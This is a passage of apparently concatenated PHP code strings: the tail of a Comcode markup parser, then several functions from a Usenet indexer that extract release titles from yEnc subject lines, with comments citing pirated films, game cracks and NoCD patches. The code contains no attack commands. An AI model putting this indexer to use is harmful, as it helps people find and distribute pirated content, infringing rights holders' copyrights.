((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$current_attribute_value.=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_VALUE:\n\t\t\t\tif ($mindless_mode) $tag_raw.=($next);\n\n\t\t\t\tif ((($next=='\"')/* && (!$in_semihtml)*/) || (($in_semihtml) && (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t{\n\t\t\t\t\tif ($next!='\"')\n\t\t\t\t\t{\n\t\t\t\t\t\t$pos+=5;\n\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='quot;';\n\t\t\t\t\t}\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\tif ((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif ($next=='\\\\')\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($comcode[$pos]=='\"')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='\"';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} elseif (substr($comcode,$pos-1,6)=='&quot;')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='&quot;';\n\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($comcode[$pos]=='\\\\')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='\\\\';\n\t\t\t\t\t\t\t$current_attribute_value.='\\\\';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t$tag_output->attach($continuation);\n\t$continuation='';\n\n\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t$tag_output->attach($close_list);\n\n\tif (($status!=CCP_NO_MANS_LAND) || (count($tag_stack)!=0))\n\t{\n\t\tif (!$lax)\n\t\t{\n\t\t\t$stack_top=array_pop($tag_stack);\n\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_BROKEN_END',is_null($stack_top)?$current_tag:$stack_top[0]),$pos,$comcode,$check_only);\n\t\t} else\n\t\t{\n\t\t\twhile (count($tag_stack)>0)\n\t\t\t{\n\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t/*if ($_last[0]=='title') Not sure about this\n\t\t\t\t{\n\t\t\t\t\t$_structure_sweep=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}*/\n\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,NULL,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t$in_code_tag=false;\n\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t$mindless_mode=$_last[7];\n\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t$comcode_dangerous_html=$_last[9];\n\t\t\t}\n\t\t}\n\t}\n\n//\t$tag_output->left_attach('<div class=\"xhtml_validator_off\">');\n//\t$tag_output->attach('</div>');\n\n\treturn $tag_output;\n}", "public function ebook_technical()\n\t{\n\t\tif (preg_match('/ASST (NEW|OLD) MTLS.*\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[2];\n\t\t} //\"ASTG TRANSMISSON REBUILD MANUALS FOR BMW.rar.par2\" [07/73] yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}yEnc$/ui', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(???) [1/1] - \"Asimov, Isaac - [Foundation 01] - De Foundation_v2.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(07/14) \"NS120107 07Jan12.pdf\" - 238.80 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(103 eBooks On Music Production) [071/111] - \"Pro Enginner School Vol. 1 + 2 By Record-Producer.com PDF.rar\" yEnc\n\t\tif (preg_match('/^\\(.+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //((BIO & MED 008) [29/64] - \"Acupuncture Therapy for Neurological Diseases - Y. Xia, et al., (Springer, 2010) WW.pdf\" *REPOST* yEnc\n\t\tif (preg_match('/^\\(.+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+REPOST.+[-_\\s]{0,3}yEnc$/ui', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(Bighathi) [4/4] - \"Letters to Penthouse XXiLetters to Penthouse XXI - The Editors of Penthouse Magazine.epub\" yEnc\n\t\tif (preg_match('/^\\(.+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(Repost) Computing (Recent) [32 of 44] \"Professional XMPP Programming (Wrox, 2010).pdf\" yEnc\n\t\tif (preg_match('/^\\(.+\\)[-_\\s]{0,3}[\\w]+[-_\\s]{0,3}\\(.+\\)[-_\\s]{0,3}\\[\\d+ of \\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //48 Unsorted E-books (03-12-2010) [49/52] - \"Zend Framework 1.8 Web Application Development.pdf\" yEnc\n\t\tif (preg_match('/^\\d+.+E-books[-_\\s]{0,3}.+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //A large collection of programming ebooks [128 of 527] \"Eckel - Thinking in C++ - Volume II - 2e (Prentice, 2000).pdf\" yEnc\n\t\tif (preg_match('/^A large collection of programming ebooks [-_\\s]{0,3}\\[\\d+ of \\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //\"Make Magazine - Volume 03.pdf\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //ADVANCES in CHEMICAL ENGINEERING 22aug11 [8 of 30] \"Advances in Chemical Engineering Vol 20 Kwauk (AP 1994).pdf\" yEnc\n\t\tif (preg_match('/\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Arduino Books by Request [9/9] - \"iOS Sensor Apps with Arduino - A. Allan (O'Reilly, 2011) WW.pdf\" (1/114) yEnc\n\t\tif (preg_match('/\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function nl()\n\t{\n\t\tif (preg_match('/\\((\\d+|\\?+)\\) \\[\\d+\\/\\d+\\].*\"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[2];\n\t\t} //JN - [1/3] - \"Operatie Teheran-Joel C Rosenberg JN.par2\" yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}[\\[\\(]\\d+\\/\\d+[\\]\\)][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //( Overlord II RELOADED ) - [013/112] - \"rld-olii.part001.rar\" yEnc\n\t\tif (preg_match('/^\\( ([\\w. -]{8,}) \\)[-_\\s]{0,3}\\[\\d+\\/(\\d+\\]) - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Batman.Arkham-Origins.Initiation-RELOADED - [006/296] - \"r.vol010+08.PAR2\" yEnc\n\t\tif (preg_match('/^([\\w. &()-]{8,}?\\b)[-_\\s]{0,3}\\[\\d+\\/(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(PC-ISO) ( Trials.Fusion.Riders.of.the.Rustlands-SKIDROW ) [10/40] - \"sr-tfrotr.part01.rar\" yEnc\n\t\tif (preg_match('/^\\(PC-ISO\\)[-_\\s]{0,3}\\( ([\\w.,& ()\\[\\]\\'\\`-]{8,}?\\b) \\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //- - [03/33] - \"s88fX0O0g7ZPGa96TyeDr.part02.rar\" yEnc\n\t\tif (preg_match('/^[-_\\s]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function dc()\n\t{\n\t\tif (preg_match('/^brothers-of-usenet.+? \\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' - \\d+[,.]\\d+ [mMkKgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"The.Crow.1994.German.DL.PAL.HD2DVD.DVDR-Braunbaer.par2\" yEnc\n\t\tif (preg_match('/^\"([\\w.]{10,}-[a-zA-Z0-9]+)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet The Secret of Crickley Hall S01E02 german Sub hardcodet [02/28] - \"the_secret_of_crickley_hall.1x02.hdtv_x264-fov_arc.par2\" yEnc\n\t\tif (preg_match('/^[A-Z0-9].+? postet\\s+.+?\\s+\\[\\d+\\/\\d+\\] - \"([\\w.-]{10,}?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet Hart of Dixie S02E13 german Sub hardcodet. [02/21] - \"hart of dixie S02E13.par2\" yEnc\n\t\tif (preg_match('/^[A-Z0-9].+? postet\\s+(.+?)\\.?\\s+\\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< - \"Internet Download Manager 6.15 Build 1.rar\" yEnc\n\t\tif (preg_match('/^>GOU<< - \"(.+?)\\.rar\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Die.wahren.Faelle.des.NCIS.S01E06.Mord.ohne.Skrupel.GERMAN.DOKU.WS.BDRip.XviD-MiSFiTS - \"misfits-therealnciss01e06-xvid.par2\" yEnc\n\t\tif (preg_match('/^([\\w.]{8,}-[a-zA-Z0-9]+) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Double.Team.1997.German.FSK18.AC3.DVDRiP.XViD\"team-xvid.oppo.par2\" yEnc\n\t\tif (preg_match('/^([\\w.]{10,})\".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function moovee()\n\t{\n\t\tif (preg_match('/\\[ENJOY\\]-\\[FULL\\]-\\[.+\\]-\\[ (.+) \\]-\\[\\d+\\/\\d+\\]-\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} ///PROUT Movie (2010) NTSC DVD [157/15768] - \"PROUTmovie_NTSC.part155.rar\" yEnc\n\t\tif (preg_match('/^(.+DVD.*) \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[ Hammer.of.the.Gods.2013.720p.WEB-DL.DD5.1.H.264-ELiTE ]-[01/44] - \"Hammer.of.the.Gods.2013.720p.WEB-DL.DD5.1.H.264-ELiTE.par2\" yEnc\n\t\t//[134863]-[ Rihanna.No.Regrets.2013.720p.WEB-DL.DD5.1.H.264-PZK ]-[52/52] - \"Rihanna.No.Regrets.2013.720p.WEB-DL.DD5.1.H.264-PZK.vol127+76.par2\" yEnc\n\t\t//[Hard.Target.1993.UNRATED.720p.BluRay.x264-88keyz] - [001/101] - \"Hard.Target.1993.UNRATED.720p.BluRay.x264-88keyz.nfo\"\n\t\t//[ Fast.And.Furious.6.2013.720p.WEB-DL.AAC2.0.H.264-HDCLUB ]-[REAL]-[01/54] - \"Fast.And.Furious.6.2013.720p.WEB-DL.AAC2.0.H.264-HDCLUB.nfo\" yEnc\n\t\tif (preg_match('/^(\\[\\d+\\]-)?\\[ ?([a-zA-Z0-9.-]{6,}) ?\\](-\\[REAL\\])? ?- ?\\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"Nights.of.Cabiria.1957.NTSC.DVD.x264-Tree\"(23/57) \"Nights.of.Cabiria.1957.NTSC.DVD.x264-Tree.part22.rar\" - 2.40 GB yEnc\n\t\tif (preg_match('/^\"(.+(DVD|BluRay|BRRip).+)\"\\(\\d+\\/\\d+\\) \".+\".+[GMK]B yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [0/1] - \"A.Good.Day.to.Die.Hard.2013.nzb\" yEnc\n\t\tif (preg_match('/^\\(\\?{4}\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[xxxxx]-[#a.b.moovee@EFNet]-[ xxxxx ]-[02/66] - \"tulob88.part01.rar\" yEnc\n\t\tif (preg_match('/^\\[x+\\]-\\[.+?\\]-\\[ x+ \\]-\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Groove.2000.iNTERNAL.DVDRip.XviD-UBiK - [001/111] - \"ubik-groove-cd1.par2\" yEnc\n\t\t//Antony.and.Cleopatra.1972.720p.WEB-DL.H264-brento -[35/57] - \"Antony.and.Cleopatra.1972.720p.WEB-DL.AAC2.0.H.264-brento.part34.rar\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9._-]+) - ?\\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Iron.Man.3.2013.R5.DVDRip.XviD-AsA) (01/26) - \"Iron.Man.3.2013.R5.DVDRip.XviD-AsA.part01.part.sfv\" yEnc\n\t\tif (preg_match('/^\\(([a-zA-Z0-9.-]+)\\) \\(\\d+\\/\\d+\\) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Classic Surf) Morning.Of.The.Earth.1971 [03/29] - \"Morning.Of.The.Earth.1971.part02.rar\" yEnc\n\t\tif (preg_match('/^\\([a-zA-Z0-9].+?\\) ([a-zA-Z0-9.-]+) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[51/62] Morrissey.25.Live.Concert.2013.BDRip.x264-N0TSC3N3 - \"n0tsc3n3-morrissey.25.live.2013.bdrip.x264.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] (.+) - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[AD120512-00006]-[UnOFFSc3n4iT]-[0131105] Chloe.Tra.Seduzione.E.Inganno.2009.iTALiAN.DVDRip.XviD-TRL [19/41] - \"trl-chltsdzn.part18.rar\" yEnc\n\t\tif (preg_match('/^\\[\\w+-\\w+\\]-\\[\\w+\\]-\\[\\d+\\] (.+) \\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Breathe.In.2013.BRRip.x264-4UN [01/39] - \"Breathe.In.2013.BRRip.x264-4UN.nfo\" yEnc\n\t\tif (preg_match('/^(.+x264.+) \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //The.CyB3rMaFiA.PimPs.YouR.RiDE.WiTH [REPACK] [40/42] - \"d2p5uypp7yn3drpk1080417.vol255+064.par2\" yEnc\n\t\tif (preg_match('/^(.+) \\[REPACK\\] \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[ Oklahoma\\!.1955.720p.WEB-DL.AAC2.0.H.264-CtrlHD ]-[32/55] - \"Oklahoma.1955.720p.WEB-DL.AAC2.0.H.264-CtrlHD.part31.rar\" yEnc\n\t\tif (preg_match('/\\[ (.+WEB-DL.+) \\]-\\[\\d+\\/\\d+\\] - \"(.+)\\.(mp4|mkv|ts|rar|par.+)\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //REQ: working copy of \"That Darn Cat 1997 Xvid-Any grp\" Plz Ty (47/60) \"geckos-ghr2011-xvid.r44\" - 744,19 MB - Gun.Hill.Road.2011.LIMITED.DVDRip.XviD-GECKOS yEnc\n\t\tif (preg_match('/^REQ:.+\".+\".+\\(\\d+\\/\\d+\\) \".+\" - \\d+[,.]\\d+ [MGK]B - (.+) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(T.U.F The real thing I Frankenstein 2014 NL Subs T.U.F) [01/52] - \"I Frankenstein 2014 NL Subs.par2\" yEnc\n\t\tif (preg_match('/^\\(T\\.U\\.F The real thing (.+?) T\\.U\\.F\\)/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(Ringside.The.Best.of.Mike.Tyson.DVDRip.x264.AC3-FCZ)[01/68] - \"Ringside.The.Best.of.Mike.Tyson.DVDRip.1.of.2.x264.AC3-FCZ.nfo\" yEnc\n\t\tif (preg_match('/^\\(([\\w.-]+)\\)\\[\\d+\\/(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function worms()\n\t{\n\t\tif (preg_match('/^(\\[U4A]) (.+?)\\[\\d+(\\/\\d+\\]) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//(38/57) \"Fright.Night.2.New.Blood.2013.UNRATED.BluRay.810p.DTS.x264-PRoDJi.part26.rar\" - 4,81 GB - yEnc\n\t\t//(14/20) \"Jack.the.Giant.Slayer.2013.AC3.192Kbps.23fps.2ch.TR.Audio.BluRay-Demuxed.by.par2\" - 173,15 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\)) (\"|#34;)(.+)(\\.[vol|part].+)?\\.(par2|nfo|rar|nzb)(\"|#34;) - \\d+[.,]\\d+ [kKmMgG][bB] - yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //(01/40) - Description - \"Cloudy.with.a.Chance.of.Meatballs.2009.AC3.23Fps.640Kbps.6Ch.TR.Audio.BD-Demuxed.by.DWA.nfo\" - 454,60 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - Description - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(151/161) \"Troy.2004.Directors.Cut.1080p.BluRay.x264.DTS.vol064+21.PAR2.bad\" - 18,64 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[Macguffin Proudly Presents] (33/75) -Reservoir Dogs 1992 720p BDRip AC3 x264 MacGuffin - \"macguffin-redog720p.r30\" - 3.06 GB - yEnc\n\t\t//[Request][MacGuffin Proudly Presents](056/229) - LOTR The Trilogy EXTENDED REPOST 720p BRRip AC3 x264 MacGuffin - \"macguffin-tfotr720p.r53\" - 18.54 GB - yEnc\n\t\t//[REPOST][MacGuffin Proudly Presents](44/54) - Flight 2012 720p BRRip REPOST AC3 x264 MacGuffin - \"macguffin-flit720p.rar\" - 4.09 GB - yEnc\n\t\tif (preg_match('/^(\\[(Request|Repost)\\])?\\[Macguffin Proudly Presents\\][-_\\s]{0,3}\\(\\d+\\/\\d+\\)[-_\\s]{0,3}(.+?) MacGuffin[-_\\s]{0,3}\".+' .\n\t\t\t\t\t $this->e0 . '[- ]{0,4}\\d+[.,]\\d+ [kKmMgG][bB][-_\\s]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function games_dox()\n\t{\n\t\tif (preg_match('/(\\[[\\d#]+\\]-\\[.+?\\]-\\[.+?\\]-)\\[ (.+?) \\][- ]\\[\\d+\\/\\d+\\] - \"(.+?)\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//[NEW DOX] The.King.of.Fighters.XIII.Update.v1.1c-RELOADED [1/6] - \"The.King.of.Fighters.XIII.Update.v1.1c-RELOADED.par2\" yEnc\n\t\t//[NEW DOX] Crysis.3.Crackfix.3.INTERNAL-RELOADED [00/12] \".nzb\" yEnc\n\t\tif (preg_match('/^\\[NEW DOX\\][ _-]{0,3}(.+?)[ _-]{0,3}\\[\\d+\\/\\d+\\][ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[NEW DOX] Minecraft.1.6.2.Installer.Updated.Server.List - \"Minecraft 1 6 2 Cracked Installer Updater Serverlist.nfo\" - yEnc\n\t\tif (preg_match('/^\\[NEW DOX\\][ _-]{0,3}(.+?)[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[ Assassins.Creed.3.UPDATE 1.01.CRACK.READNFO-P2P 00/17 ] \"Assassins.Creed.3.UPDATE 1.01.nzb\" yEnc\n\t\tif (preg_match('/^\\[ ([a-zA-Z0-9-\\._ ]+) \\d+\\/(\\d+ \\]) \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[01/16] - GRID.2.Update.v1.0.83.1050.Incl.DLC-RELOADED - \"reloaded.nfo\" - yEnc\n\t\t//[12/17] - Call.of.Juarez.Gunslinger.Update.v1.03-FTS - \"fts-cojgsu103.vol00+01.PAR2\" - PC - yEnc\n\t\tif (preg_match('/^\\[\\d+\\/(\\d+\\]) - ([a-zA-Z0-9-\\.\\&_ ]+) - \".+?' . $this->e0 .\n\t\t\t\t\t '( - PC)? - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[36/48] NASCAR.The.Game.2013.Update.2-SKIDROW - \"sr-nascarthegame2013u2.r33\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/(\\d+\\]) ([a-zA-Z0-9-\\._ ]+) \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[Grand_Theft_Auto_Vice_City_1.1_Blood_NoCD_Patch-gimpsRus]- \"grugtavc11bcd.nfo\" yEnc\n\t\tif (preg_match('/^\\[([a-zA-Z0-9-\\._ ]+)\\]- \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[OLD DOX] (0001/2018) - \"18.Wheels.of.Steel.American.Long.Haul.CHEAT.CODES-RETARDS.7z\" - 1,44 GB - yEnc\n\t\tif (preg_match('/^\\[OLD DOX\\][ _-]{0,3}\\(\\d+\\/\\d+\\)[ 